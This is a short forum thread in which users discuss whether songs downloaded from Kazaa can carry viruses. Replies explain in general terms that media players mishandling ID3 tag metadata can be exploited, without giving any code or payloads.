Even tho i think he's completly wrong, a buddy of mine told me that he downloaded a song or something to that effect from Kazaa and ended up getting a virus from it. He says it wasn't a program that the virus came from, but from a song... just wondering if anyone had herd about viruses being embedded in media files...

Actually, the mp3/wma itsef doesn't have a virus. I believe it is in the handling of the ID3 tags (they hold the specific info about the song, artist, etc)

Windows Hole
WinAmp Hole

I am sure there are more, but this atleast shows you that it is possible.

There is an exploit for midi files changing the tags and setting the buffer to 0xfffffffff as for mp3

Still in construction but there are lots of holes and it would like jonconley said be software dependant etc..

Like jon said,

theres an exploit in the way most mp3 players (or just certain ones) handle mp3 metadata, and in turn can execute malicious code
